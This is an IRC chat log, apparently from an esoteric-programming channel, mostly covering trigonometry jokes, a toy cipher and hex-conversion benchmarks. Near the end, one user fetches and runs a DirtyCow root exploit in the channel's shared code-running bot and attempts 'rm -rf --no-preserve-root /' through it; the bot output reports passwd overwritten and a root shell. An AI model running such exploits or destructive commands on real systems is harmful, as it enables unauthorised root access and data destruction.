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00:13:57 <\oren\> https://www.youtube.com/watch?v=_pUL7u-mYqA
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01:09:23 <DHeadshot> You're not thinking of KPa (Kg/m^2) are you?
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01:37:09 <DHeadshot> hppavilion[1]: in which case, the unit is literally just kg/m^3 - not anything fancy...
01:40:47 <DHeadshot> sorry, I read the first line and substituted in the second...
01:48:18 <shachaf> copumpkin: https://www.amazon.com/Griffin-BreakSafe-Breakaway-Chromebook-replacement/dp/B01CQTK6GU hth
01:48:37 <shachaf> Hmm, only up to 60W, though.
02:04:54 <hppavilion[1]> Here's a fun little symmetric transposition cypher
02:06:05 <hppavilion[1]> It encrypts and decrypts a message by taking every part of the message between and excluding two characters in C (whether or not they're the same) and reversing their order
02:12:18 <hppavilion[1]> `learn Temperature is measured in terms of reciprocal volume.
02:12:22 <HackEgo> Learned 'temperature': Temperature is measured in terms of reciprocal volume.
02:24:13 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
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02:24:29 <quintopia> i can maybe kind of see a situation in which might arise. like need to know what temperature to make an enclosure to heat a metal to a certain temp in a precise period of time
02:25:02 <quintopia> not sure it would scale linearly with volume though
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02:54:03 * hppavilion[1] . o O ( What's the 3D equivalent of compass and straightedge? )
02:59:09 <HackEgo> U+1F43E PAW PRINTS \ UTF-8: f0 9f 90 be UTF-16BE: d83ddc3e Decimal: 🐾 \ 🐾 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
02:59:22 <HackEgo> U+1F43E PAW PRINTS \ UTF-8: f0 9f 90 be UTF-16BE: d83ddc3e Decimal: 🐾 \ 🐾 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
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03:01:25 <hppavilion[1]> I think that you need 6 (rather than 3) trigonometric functions & their reciprocals for 3D trig (tetranometry?)
03:03:06 <hppavilion[1]> That is, if you divide area rather than edges for the right tetrahedron definition.
03:03:59 <hppavilion[1]> (Ah, it's called a trirectangular tetrahedron, despite entirely lacking rectangles)
03:05:06 <shachaf> in a polyhydron, every time you cut off one vertex, it's replaced by several
03:08:25 <hppavilion[1]> shachaf: Cut off one vertex, k more for k=the number of edges connecting, assuming only one vertex is removed, will take its place
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03:15:26 <hppavilion[1]> Is the smallest shape that can be represented in euclidean n-space without curves or intersections always an (n+1)-hedron?
03:16:08 <alercah> what do you mean by "curve" and what do you mean by "shape" and what do you mean by "smallest" and what do you mean by "(n+1)-tope"
03:16:13 <alercah> and what do you mean by "represented"?
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04:14:09 <izalove> stupid optimization challenge #3234: write a program that reads hex input and converts it to binary digits
04:16:03 <FaerieFly> reads hex digits (and only hex digits) on stdout, outputting 4 bits per digit?
04:16:23 <FaerieFly> support for both uppercase and lowercase hex?
04:16:30 <izalove> no, output 4 bytes '0' or '1' per hex digit
04:16:48 <izalove> you can support only lowercase if you want
04:16:49 <FaerieFly> right, that's what I meant but phrased badly
04:17:55 <izalove> even brainfuck if you feel like it's gonna be competitive
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04:18:21 <FaerieFly> mostly curious what you used, for ease of comparing "algorithm" so to speak
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04:24:01 <FaerieFly> can't be arsed to benchmark it or really think too much, but here's something: http://xen.firefly.nu/up/hexdigits.c.html
04:24:52 <FaerieFly> Make sure to not feed a trailing newline, or if you do, ignore the trailing 1010 in the output
04:25:44 <FaerieFly> Hm maybe a LUT into a table of hardcoded strings would be faster
04:26:15 <FaerieFly> with the LUT getting cached early on.. but probably not since it's such a trivial computation
04:26:41 <Hoolootwo> that's what I was thinking, a direct index from the ascii character index into an array, aligned
04:27:12 <izalove> $ time ./fireflyh2b < /tmp/10m > /dev/null
04:27:14 <izalove> real: 0m3.978s, user: 0m3.677s, sys: 0m0.027s
04:27:17 <izalove> not bad as a first attempt
04:27:29 <Hoolootwo> on a modern CPU that would likely be fastest, but it's really hard to say because there's a lot of magic going on in CPUs
04:27:31 <FaerieFly> Let's try the LUT-of-all-256-bytes approach
04:27:44 <FaerieFly> I guess you can hack that up, izalove
04:28:00 <izalove> well i don't really need to <.<
04:28:21 <FaerieFly> can you post yours, or is that too boring?
04:29:09 <izalove> $ time for i in {1..10}; do ./izah2b </tmp/100m; done > /dev/null
04:29:12 <izalove> real: 0m6.729s, user: 0m5.053s, sys: 0m1.097s
04:30:17 <izalove> https://arin.ga/s89Spm/raw here it is, if you want to spoil the fun
04:30:22 <FaerieFly> 100m is uniformly distributed, yeah?
04:32:10 <FaerieFly> does that posix_fadvise make a difference if you benchmark it?
04:32:27 <FaerieFly> (how would default-stdin not be read sequentially...)
04:33:10 <izalove> $ time for i in {1..10}; do ./izah2b </tmp/100m; done > /dev/null
04:33:12 <FaerieFly> but that's a neat function to know about though
04:33:13 <izalove> real: 0m6.785s, user: 0m5.023s, sys: 0m1.147s
04:33:54 <FaerieFly> I'm sort of terrified why it doesn't just always do that by default
04:35:23 <izalove> and the variance on my disk is too high to benchmark it
04:35:47 <FaerieFly> I wonder if changing your h2d LUT to ((ch & 0xF) + (ch > 0x40) * 9)*4 affects performance?
04:38:27 <izalove> $ time ./izah2b < /tmp/100m >/dev/null
04:38:29 <izalove> real: 0m0.890s, user: 0m0.763s, sys: 0m0.093s
04:38:49 <izalove> with the table it's 0.6xxs
04:39:08 <izalove> https://arin.ga/ukqFii/raw
04:39:11 <FaerieFly> Surprised it makes such a difference
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05:33:26 <Hoolootwo> http://hooloovoo.blue/files/hoolootwo.c
05:33:53 <Hoolootwo> real 0m0.161s user 0m0.120s sys 0m0.040s
05:37:22 <izalove> but why would you use printf for \n
05:41:03 <Hoolootwo> I guess a putchar would have sufficed
05:41:28 <Hoolootwo> because that's the first thing I thought of, and it shouldn't affect performance
05:46:26 <Hoolootwo> I added a few optimizations, file is in the same place
05:47:13 <izalove> nice, it's faster than before
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06:18:57 <hppavilion[1]> 'TIS GREATAR THAN 22 SCORE SCORE AND 10 SCORE!!!!!!!
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06:21:38 <hppavilion[1]> How does one represent an arbitrary rational number in unary?
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06:22:05 <oerjan> hppavilion[1]: first represent as natural number
06:22:31 <pecan> https://en.wikipedia.org/wiki/Quote_notation I guess.
06:22:55 <oerjan> that makes no sense for unary afaict
06:23:18 * oerjan hates to type when he cannot see what he writes
06:23:45 <shachaf> oerjan: https://mosh.org/ hth
06:24:40 <oerjan> hppavilion[1]: trouble is, there's no abvious thing other than 1 to divide the thing after the point by, which obviously doesn't give you any non-integers
06:24:57 <oerjan> hppavilion[1]: dog slow internet and typing ahead hth
06:27:01 <oerjan> shachaf: it's a bad time to load web pages, obviously
06:27:24 <Hoolootwo> maybe just divide the one before the decimal point by the one after?
06:27:44 <oerjan> Hoolootwo: but then it's not really a decimal point
06:27:54 <oerjan> just a funny synonym for /
06:28:33 <FaerieFly> hppavilion[1]: just stick to unary fractions
06:32:03 <hppavilion[1]> cvs is coversine (which seems like it should be called vercosine, but eh)
06:32:21 <hppavilion[1]> oerjan: Diagram hth: https://upload.wikimedia.org/wikipedia/commons/9/9d/Circle-trig6.svg
06:33:54 <oerjan> you know, in norway we only learn sin, cos and tan of those in high school, and i think that's an excellent policy hth
06:34:48 <hppavilion[1]> (Though the sine <-> cosecant; cosine <-> secant thing is annoying)
06:35:00 <oerjan> by the fact they only showed up once i got university math books in english, i assumed it was an american thing
06:36:12 <hppavilion[1]> oerjan: Most of them are archaic, but still occasionally of use
06:37:17 <shachaf> are csc and all those other things an american thing
06:37:25 <oerjan> . o O ( why won't the trigonometer stop using archaic terms )
06:37:25 <shachaf> they're kind of pointless hth
06:38:23 <hppavilion[1]> shachaf: csc(θ) = sin(θ)^-1, sec(θ) = cos(θ)^-1, cot(θ) = tan(θ)^-1
06:39:19 <hppavilion[1]> shachaf: I'd probably write a thing with a triangle and a line over it
06:39:34 <shachaf> trigonometry is about circles hth
06:39:57 <hppavilion[1]> shachaf: Triangles are important too and the circles describe it counter-hth
06:40:56 <oerjan> it's all in the name, trigon is the ancient greek for circle hth
06:41:00 <hppavilion[1]> (take a right triangle with width proportioned to height by the the golden mean (for aesthetic purposes); right angle at the right side, hypotenuse going up when read ltr, only draw hypotenuse and vertical edge)
06:41:31 <hppavilion[1]> (cosine only draws hypotenuse and the horizontal edge, tangent only draws the orthagonal edges)
06:43:52 <hppavilion[1]> oerjan: What I really want is tetravertomy, which is all about spheres
06:44:42 <oerjan> surely it should tetrahedronometry
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06:45:56 <shachaf> oerjan: did you see my polyhydron pun earlier hth
06:47:07 <hppavilion[1]> oerjan: Of course, all of these are subfields of kplusuntopomy
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06:50:45 * oerjan stamps a large mirrored LERN2GREEK on hppavilion[1]'s forehead
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06:51:36 <oerjan> he's already overqualified for that
06:52:12 <izalove> joining this channel makes you overqualified
06:52:25 <izalove> i'm tempted to say that joining irc makes you overqualified
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07:13:36 <oerjan> <hppavilion[1]> ...I just realized the etymological relationship that "predicates" are "predicative" because they "predict" <-- surprisingly, that's incorrect. there are two different lating words "dico", one with short i, and one with long, and with different meanings. they're probably cognate if you go all the way back to PIE though.
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07:23:25 <oerjan> next up: how to mute the tab that you cannot find.
07:25:42 <shachaf> oerjan: chrome shows a little icon on tabs that are playing music hth
07:26:32 <oerjan> i knew you were going to say that.
07:26:57 <oerjan> fortunately it's not happening that often.
07:28:01 <oerjan> my main annoyance recently is that wikipedia's pretty diff extension has stopped working reliably.
07:29:08 <oerjan> hppavilion[1]: no, just experienced with what happens every time i mention my browser
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07:30:02 <shachaf> oerjan: i only said it because it was predictable hth
07:32:54 <oerjan> well hypothetically it was. it's not like i know the details of how other browsers work.
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07:39:13 <oerjan> finally i convinced hppavilion[1] this channel is too crazy for him
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07:54:43 <imode> anybody know a good, reliable place for static site hosting.
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08:24:49 <\oren\> someone should derive proto-C-Pascal and see how much of algol they can reconstruct
08:30:02 <\oren\> or maybe I'll do something like they did to construct Ido
08:48:53 <\oren\> assignment: c '=' fortran '=' pascal ':=' perl '='
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08:52:08 <HackEgo> oxford//The home of English, woven shirts, and the serial comma.
08:53:08 <hppavilion[1]> Debate Question: I have a teacher with lastname "Ingman". To pluralize her last name (e.g. to refer to a family), should one say "Ingmans" or "Ingmen"
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09:06:18 <oerjan> `slwd oxford//s/T/Oxford is t/
09:06:21 <HackEgo> wisdom/oxford//Oxford is the home of English, woven shirts, and the serial comma.
09:09:00 <\oren\> does england have a separate capital from that of the the UK
09:13:29 <oerjan> england doesn't have a separate parliament
09:13:53 <oerjan> (and it's pretty recent that any of the other parts got them)
09:22:25 <oerjan> @let hpciph c = reverse <=< groupBy ((&&)`on`(`notElem`c))
09:22:46 <oerjan> > hpciph "aeiou" "Testing hppavilion[1]'s cipher"
09:22:49 <\oren\> non non biyori is hilarus
09:23:35 <hppavilion[1]> oerjan: Just weird enough to confuse humans, not powerful enough to be secure :)
09:23:39 <\oren\> hey gnavilioc, your cipher reavls too much!
09:23:58 <hppavilion[1]> (But maybe if I took the bitstring down, flipped it, and reversed it...)
09:24:10 <lambdabot> • Couldn't match expected type ‘[Integer] -> t’
09:24:53 <oerjan> i suppose you technically didn't say the end parts should be reversed
09:25:14 <hppavilion[1]> At least, that's how it works in my implementation
09:25:29 <hppavilion[1]> That's only one though; this one is named 'split-reverse' in the lookup
09:26:47 <hppavilion[1]> There's another one ACTUALLY called 'multi-split-reverse' that instead reverses the order of things on the split rather than the split items
09:27:17 <hppavilion[1]> But the more interesting one, IMO, is multi-split-rotate, which instead rotates each string
09:27:40 <oerjan> @let hpciph2 c = concat . reverse . groupBy ((&&)`on`(`notElem`c))
09:27:54 <oerjan> > hpciph2 "aeiou" "Testing hppavilion[1]'s cipher"
09:28:28 <hppavilion[1]> oerjan: To test that your implementation (of the first one) is conformant
09:28:44 <hppavilion[1]> key "aeiou", cyphertext " Iaht med al kros dratnacu ,sah dnavec omet od evoy ruohc ruirdleB .nob wefore ym uhnorw yla ,htob rec osnumew diy hto ruorpsffir dnA .gnemebmek riH :sdehw of im sthgotsnehs srob dluec areful ,leh tseb ecome am otsneh risme ;flahw dney nog uazel o gnitno a naht ,ssybe am ssybag yaze itnoy ou.
09:29:12 <oerjan> hppavilion[1]: can you do it, i have trouble with multiline copying
09:29:30 <hppavilion[1]> oerjan: Do you have a decry- oh, right, it's identical
09:29:37 <oerjan> (the new version of irssi broke the feature that made it easy)
09:30:08 <hppavilion[1]> > hpciph "aeiou" " Iaht med al kros dratnacu ,sah dnavec omet od evoy ruohc ruirdleB .nob wefore ym uhnorw yla ,htob rec osnumew diy hto ruorpsffir dnA .gnemebmek riH :sdehw of im sthgotsnehs srob dluec areful ,leh tseb ecome am otsneh risme ;flahw dney nog uazel o gnitno a naht ,ssybe am ssybag yaze itnoy ou."
09:30:11 <lambdabot> "I am the dark lord santacus, and have come to devor yuor chuildren. Bow bef...
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09:30:39 <oerjan> lambdabot gives longer answers in private
09:31:08 <hppavilion[1]> My implementation has the same flaw, so it's a design issue
09:31:27 <oerjan> hppavilion[1]: you reverse the consecutive C members too?
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09:32:12 <hppavilion[1]> I think I see the issue is that consecutive vowels are dropped or... something in my impl
09:32:47 <oerjan> hppavilion[1]: in my implementation consecutive vowels are kept in the original order
09:32:56 <oerjan> that's how i interpreted your description
09:33:16 <hppavilion[1]> (Really fun would be to reverse the order of the vowels before rejoining...)
09:33:22 <oerjan> @let hpciph3 c = reverse <=< groupBy ((==)`on`(`notElem`c))
09:33:53 <hppavilion[1]> > hpciph "aeiou" "I am the dark lord santacus, and have come to devour your children"
09:33:55 <lambdabot> " Iaht med al kros dratnacu ,sah dnavec omet od evouy rouhc rirdlen"
09:33:57 <oerjan> the monad part isn't what i changed >:)
09:34:13 <oerjan> hppavilion[1]: note name change
09:34:15 <hppavilion[1]> > hpciph "aeiou" " Iaht med al kros dratnacu ,sah dnavec omet od evouy rouhc rirdlen"
09:34:17 <lambdabot> "I am the dark lord santacus, and have come to devour your children"
09:34:29 <hppavilion[1]> Yeah, so your implementation works better than mine
09:34:45 * oerjan swats hppavilion[1] -----###
09:34:54 <oerjan> I IMPLEMENTED A NEW FUNCTION
09:35:25 <hppavilion[1]> > hpciph3 "aeiou" "I am the dark lord santacus, and have come to devour your children"
09:35:27 <lambdabot> " Iaht med al kros dratnacu ,sah dnavec omet od evuoy ruohc rirdlen"
09:37:54 <oerjan> hppavilion[1]: now it does reverse the vowel groups
09:38:10 <hppavilion[1]> > hpciph3 "aeiou" (hpciph "aeiou" "I am the dark lord santacus, and have come to devour your children")
09:38:13 <lambdabot> "I am the dark lord santacus, and have come to devuor yuor children"
09:39:37 <hppavilion[1]> oerjan: When I said reverse the order of the vowels, I was aiming for something a bit different and more evil
09:40:03 <oerjan> i think i know what you meant, and it's hard to adapt this implementation to it
09:40:11 <hppavilion[1]> The vowel groups stay the same, but you join back up on them in reverse order
09:40:50 <hppavilion[1]> I was just doing cyphers because I needed a good streamed Vigenere implementation because my sister and I are reading Gravity Falls Journal #3
09:41:12 <hppavilion[1]> And there's an entire, 3-page letter written in Viginere. I have to enter it into the computer by hand to get the output.
09:43:06 <oerjan> not in about another half hour hth
09:43:52 <hppavilion[1]> oerjan: ...I was trying to figure out what it means
09:45:48 <\oren\> https://www.youtube.com/watch?v=CaWg298hzro
09:45:59 <oerjan> xkcd has updated but not freefall...
09:46:41 <\oren\> is there anyhting that cruel angel's thesis doesn't go with?!?
09:47:57 <hppavilion[1]> \oren\: Perhaps... my little pony: friendship is magic, season 5 finale (part 2), climactic lazer death battle (I swear it's true and 100% canon)
09:50:38 <HackEgo> Temperature is measured in terms of reciprocal volume.
09:50:50 * oerjan swats shachaf -----###
10:05:48 <\oren\> hppavilion[1]: open another 99
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10:47:03 <hppavilion[1]> It annoys me when people say "guess what", especially when they insist that you guess
10:47:12 <hppavilion[1]> So I'm making a random sentence generator that will provide a guess
10:47:33 <hppavilion[1]> izalove: muff plf yjcu dlzyabsm yqkb bw jywp pvnpdeqw gmnzzb fxkeaae vk vkfts‽
10:47:50 <hppavilion[1]> izalove: That was what I hacked together in 10 seconds
10:48:12 <hppavilion[1]> izalove: I'm going to start improving it by mixing in real words, some phonetic rules, and punctuation
10:48:33 <izalove> `` shuf -n10 /usr/share/dict/words
10:48:34 <HackEgo> shuf: /usr/share/dict/words: No such file or directory
10:49:49 <hppavilion[1]> Hm, I wonder if I can still remember how to type PHNGLUI MGLW'NAFH CTHULHU R'LYEH WGAH'NAGL FHTAGN
10:51:10 <Jafet> izalove: it's not too difficult to max out memory while converting hex to binary, by the way: http://sprunge.us/YbTg
10:51:28 <Jafet> (3GB/s in cache, 1.5GB/s in memory on my computer)
10:52:57 <Jafet> there should be sse4 instructions for the same thing, but at half speed
10:53:18 <Jafet> not sure what "half speed" is, since it may be memory-limited
10:54:59 <Jafet> hey fungot, guess what
10:54:59 <fungot> Jafet: you know aheui uses hangul, so no directx. it's the only scheme implementation i know behaves this way... but who cares
11:01:51 <izalove> Jafet: can you make yours a complete program and then compare it vs mine on your machine? https://gist.github.com/izabera/03e42d25d0434fe6857172e01f9a95ed
11:21:54 <Jafet> hmm, I'm writing an sse4 version but gcc doesn't seem to have a 8->128 bit broadcast intrinsic
11:27:46 <Jafet> izalove: http://sprunge.us/ZFKg?c
11:27:54 <Jafet> the table lookup is surprisingly competitive
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11:36:38 <izalove> you rerolled my unrolled loop :C
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12:08:02 <boily> fungot: you roll 2d6.
12:08:03 <fungot> boily: i can assign an ordinal number n that can't be right. the communists under that era is harder so the distinction wouldn't be very hard
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12:10:28 <izalove> https://www.kickstarter.com/projects/1684041218/bud-spencer-and-terence-hill-slaps-and-beans so cool
12:10:29 <boily> fungot: then don't do it.
12:10:30 <fungot> boily: is it worth time invested to learn it anymore.
12:10:38 <boily> fungot: yes, but don't do it.
12:10:38 <fungot> boily: ' the main loop
12:10:43 <boily> fungot: noooooooo!
12:10:43 <fungot> boily: or " miss scheme"...
12:10:55 <boily> fungot: we have a Miss Scheme?
12:11:00 <Jafet> gcc seems to unroll it anyway (and eliminates the memcpy)
12:11:47 <Jafet> most impressively, gcc automatically vectorises the simple version
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12:34:57 <HackEgo> ystävämme yksineessänne keillisi seltani suurtumaksen vanne tyhjellämille laulukuppeille mattelegemiksen tyyneistammilleman
12:37:03 <fizzie> Only two real words (ystävämme, vanne) this time.
12:37:19 <fizzie> Although "laulukupeille" would have been fine as well.
12:37:35 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/words
12:38:13 <HackEgo> addotti ripendovia moni decessi siedetta levitubato grarecifrando sole conto vieresti
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14:26:45 <fizzie> In case someone remembers my previous rant about my mobile operator starting to show rounded-to-whole-gigabytes as the remaining data allowance -- now they've switched to what appears to be megabytes but with "Gigabytes" as the unit.
14:27:03 <fizzie> Either that, or they've bumped my allowance up to 316.98 gigabytes, which sounds unlikely.
14:27:12 <fizzie> (Especially since yesterday's value was >400.)
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14:59:16 <HackEgo> valid datasets: --eng-1M --eng-all --eng-fiction --eng-gb --eng-us --french --german --hebrew --russian --spanish --irish --german-medical --bulgarian --catalan --swedish --brazilian --canadian-english-insane --manx --italian --ogerman --portuguese --polish --gaelic --finnish --norwegian --esolangs \ default: --eng-1M
14:59:33 <HackEgo> pàran bealbh bainntach bastap fògrafann shlian meirceannraic mùire deugh sgrùn
15:00:01 <HackEgo> b'ail láil span-ghaeilp nostúnach oslaith b'oir réithnigh speictrean sciúlaithe stungáiniseacuadóir
15:00:40 <HackEgo> reotesid scon neoclimned della rukarene stermitructic lity catinacope oatasel nibrin
15:04:04 <Phantom_Hoover> that's not canadian english, that's not even zzo38 canadian english
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15:09:01 <fizzie> Phantom_Hoover: https://github.com/en-wl/wordlist/tree/master/scowl/r I believe.
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15:30:41 <HackEgo> jagarna frand kladen glig betiska fri regiers besträd fullhande raktadletsfunktighet
15:30:44 <int-e> `` cd wisdom; grep -r wetsuit .
15:31:30 <int-e> (today's xkcd is disturbing me)
15:31:54 <HackEgo> socit verne stropl adsupplichristi moor caldenicotejno cresso han wethumbonalove nicknownship
15:32:21 <HackEgo> frangcoin pophycoin spacoptinycoin pietcoin twearandcoin murphycoin celancoin 21scoin wikincoin befreafcoin spirancoin superfecoin plattcoin brainfinoccoin impcoin bonnonalcoin ratinockermecoin barbifcoin fancoin poorzacoin
15:34:12 <HackEgo> sorthseoti tep xant fourae coiilkmgd eur bbroon dam phistra toura
15:34:33 <FaerieFly> eur is an important word in the british english vocabulary
15:43:07 <fizzie> Phantom_Hoover: They're all related.
15:44:27 <fizzie> `coins --canadian-english-insane
15:44:33 <fizzie> `coins --canadian-english-insane 10
15:44:34 <HackEgo> carbertilycoin congcoin adminatedcoin syboscophcoin impatedcoin sworthyredcoin grypsidhologiccoin rosacravecoin tanaereasotcoin stbullagecoin
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16:51:02 <\oren\> https://www.youtube.com/watch?v=gPgv5WDT6s0
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16:58:17 <oerjan> http://www.the-whiteboard.com/ is giving freefall some competition for longwindedness
16:58:34 <oerjan> except while freefall has sped up some, the whiteboard has slowed.
16:59:56 <oerjan> (funny thing, i was reminded of this just a moment _before_ loading today's comic)
17:00:55 -!- LKoen has joined.
17:04:23 <oerjan> (there was, of course, plenty of action in that long day.)
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17:13:13 <oerjan> someone is trying out halloween costumes.
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17:49:36 <shachaf> oerjan: what did i do tdnh
17:49:47 <shachaf> oerjan: I thought someone said something about the revert bug being fixed.
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17:52:01 <oerjan> shachaf: yes, but Gregor needs to actually apply the PR
17:52:26 <shachaf> isn't it fixed even before the press release is applied
17:52:37 <oerjan> not in running HackEgo
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17:59:12 <int-e> Gregor's too busy professing.
18:01:56 <b_jonas> shachaf: we can't just fix a bug. there are procedures for this stuff. only the <insert fancy management acronym job title here> can permit modifying the status of a bug.
18:02:09 <oerjan> i guess his immediate reaction to the previous PR was just a fluke :P
18:03:07 <int-e> bah, GG, I didn't want a wallpaper...
18:03:48 <int-e> it's not even the 31st yet!
18:05:37 <int-e> okay, Sandra & Woo made up for it (I feel safer already...)
18:07:15 <int-e> gaia advances the plot but ends in a cliffhanger
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18:15:16 <fizzie> b_jonas: We must first promote to the staging branch, after which the integration engineer merges the fix to the QA branch, and only once it's tested can we even begin thinking of starting the process of promoting the change to production.
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18:39:31 <moony_the_lycan> how do i download files to hackego again? i wish to test something
18:39:55 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:41:49 <moony_the_lycan> `fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
18:41:54 <HackEgo> 2016-10-28 17:40:56 URL:https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c [4688/4688] -> "cowroot.c" [1]
18:41:57 <HackEgo> bin \ canary \ cdescs \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
18:42:08 <HackEgo> cowroot.c: In function ‘procselfmemThread’: \ cowroot.c:98:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default] \ In file included from cowroot.c:27:0: \ /usr/include/unistd.h:331:16: note: expected ‘__off_t’ but argument is of type ‘void *’ \ /tmp/cct6jpFP.o: In function `main': \
18:42:17 <HackEgo> bin \ canary \ cdescs \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
18:42:27 <imode> so does hackego just run in a dummy container or something.
18:42:59 <HackEgo> gcc: error: unrecognized command line option ‘-pthread cowroot.c -o cowroot’ \ gcc: fatal error: no input files \ compilation terminated.
18:43:14 <HackEgo> cowroot.c: In function ‘procselfmemThread’: \ cowroot.c:98:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default] \ In file included from cowroot.c:27:0: \ /usr/include/unistd.h:331:16: note: expected ‘__off_t’ but argument is of type ‘void *’
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18:43:23 <HackEgo> bin \ canary \ cdescs \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
18:43:45 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
18:44:10 <HackEgo> bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.2$
18:44:24 <imode> that's actually pretty nice. so instead of having a scriptable bot, you just have an entire linux machine on the other end.
18:44:58 <imode> user-extendability too.
18:45:31 <moony_the_lycan> my hobby: futile attempts at root escalation alongside my derpiness :P
18:45:47 <imode> hey, pentesting is good. :P
18:45:59 <oerjan> imode: moreover, each command runs in its own vm
18:46:24 <imode> I wonder what the harm would be to just forego the sandboxing.
18:46:30 <imode> blank linux machine.
18:46:46 <imode> isolated from the network of course.
18:47:20 <int-e> . o O ( and with a disconnected power supply )
18:47:35 <HackEgo> http://codu.org/projects/hackbot/fshg/
18:47:38 <imode> trust is a powerful thing..
18:48:49 <imode> a trusting box, I guess, is boring.
18:49:30 <imode> public-use, everybody has root. I guess one thing you'd want is for it to be snapshotted every 10 minutes or so.
18:50:10 <moony_the_lycan> imode, the hackego sandbox is snapshotted each time a command is ran, currently 700mb of snapshots if i remember correctly
18:51:17 <HackEgo> /hackenv/bin/`: eval: line 4: syntax error near unexpected token `(' \ /hackenv/bin/`: eval: line 4: `./cowroot < (echo "rm -rf --no-preserve-root /")'
18:51:23 <oerjan> well, only if some file has changed.
18:51:57 <oerjan> moony_the_lycan: you cannot crack if you cannot remember syntax. well known fact.
18:52:27 <moony_the_lycan> imode, hackego's sandbox is opensource btw, and it was written by hackego's creator, Gregor, as well
18:52:40 <imode> umlbox as it's been mentioned.
19:12:07 <HackEgo> rm: cannot remove `/sys/fs/ext4/features/meta_bg_resize': Permission denied \ rm: cannot remove `/sys/fs/ext4/features/batched_discard': Permission denied \ rm: cannot remove `/sys/fs/ext4/features/lazy_itable_init': Permission denied \ rm: cannot remove `/sys/fs/cgroup': Permission denied \ rm: cannot remove `/sys/bus/cpu/devices/cpu0': Permission
19:12:29 <oerjan> moony_the_lycan: oh, it was just in a long locking computation
19:12:36 -!- imode has quit (Ping timeout: 260 seconds).
19:12:37 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:12:51 <HackEgo> rm: it is dangerous to operate recursively on `/' \ rm: use --no-preserve-root to override this failsafe
19:12:57 <HackEgo> /hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
19:12:58 <HackEgo> rm: cannot remove directory: `.'
19:13:00 <HackEgo> rm: cannot remove `/tmp': Permission denied
19:13:05 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:13:31 <HackEgo> uid=5000 gid=658764 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:13:59 <oerjan> gah i cannot load the repo browser
19:14:09 <HackEgo> http://codu.org/projects/hackbot/fshg/
19:15:19 <HackEgo> Initial import. \ <ellioẗt> addquote <olsner> the allocation is done by the "Dynamic" in DRAM <olsner> before that we used SRAM where everything was preallocated in the factory <fizzie> olsner: So what's this SDRAM then? <olsner> fizzie: synchronized, it's for multithreading \ <Gregör> pastelogs treederwright \ <oerjän> pastelogs taneb.*d
19:15:31 <HackEgo> <moony_the_lycän> ` gcc -pthread cowroot.c -o cowroot \ <moony_the_lycän> fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c \ <oerjän> forget temperature \ <oerjän> slwd oxford//s/T/Oxford is t/ \ <hppavilion[1̈]> learn Temperature is measured in term
19:15:46 <oerjan> nothing registered after your compilation
19:16:02 <oerjan> `learn Testing is always appropriate.
19:16:05 <HackEgo> Relearned 'testing': Testing is always appropriate.
19:16:09 <HackEgo> Testing is always appropriate.
19:16:09 <HackEgo> <oerjän> learn Testing is always appropriate. \ <moony_the_lycän> ` gcc -pthread cowroot.c -o cowroot \ <moony_the_lycän> fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c \ <oerjän> forget temperature \ <oerjän> slwd oxford//s/T/Oxford is t/ \ <hppa
19:16:59 <HackEgo> âELF............>.....;@.....@.......À..........@.8..@.........@.......@.@.....@.@.....ø.......ø................. ...8......8@.....8@............................................@.......@.....Ì......Ì........ ............¸......¸`.....¸`.....ð......p........ ...........Ð......Ð`.....Ð`........................ ..
